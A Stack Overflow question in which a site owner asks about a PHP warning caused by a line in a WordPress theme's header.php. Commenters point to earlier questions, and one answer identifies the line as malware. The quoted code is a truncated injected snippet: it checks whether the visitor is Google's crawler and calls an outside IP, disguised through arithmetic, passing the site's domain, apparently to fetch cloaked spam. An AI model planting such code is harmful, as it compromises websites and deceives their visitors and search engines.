1

Below is my code:

<?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(" ", "-", $botbotbot);if (strpos($botbotbot,"google")){$ch = curl_init();    $xxx = sqrt(30976);    curl_setopt($ch, CURLOPT_URL, "http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]"

And the error I have:

Warning: Use of undefined constant HTTP_USER_AGENT - assumed 'HTTP_USER_AGENT' (this will throw an Error in a future version of PHP) in G:\PleskVhosts\pdmsweb.com\mak-consultant.com\wp-content\themes\themify-ultra\header.php on line 1

  • 1
    Does this answer your question? [PHP Undefined index: HTTP\_USER\_AGENT](https://stackoverflow.com/questions/14130830/php-undefined-index-http-user-agent) – Joseph Dec 25 '19 at 11:33
  • 3
    Does this answer your question? [What does the PHP error message "Notice: Use of undefined constant" mean?](https://stackoverflow.com/questions/2941169/what-does-the-php-error-message-notice-use-of-undefined-constant-mean) – Dharman Dec 25 '19 at 11:42
  • i have zero knowledge of php if some one can fix it for me. – Farhan Hussain Dec 25 '19 at 11:44
  • 1
    Welcome to Stack Overflow. This site expects you to do some work, we are not a code writing service. It's also a good idea to [take the tour](https://stackoverflow.com/tour), and read [How to Ask](https://stackoverflow.com/help/how-to-ask). – Ann Kilzer Dec 25 '19 at 12:00

1 Answers1

1

a bit late, but that was added by a virus entering your site.

Bob S
  • 305
  • 2
  • 11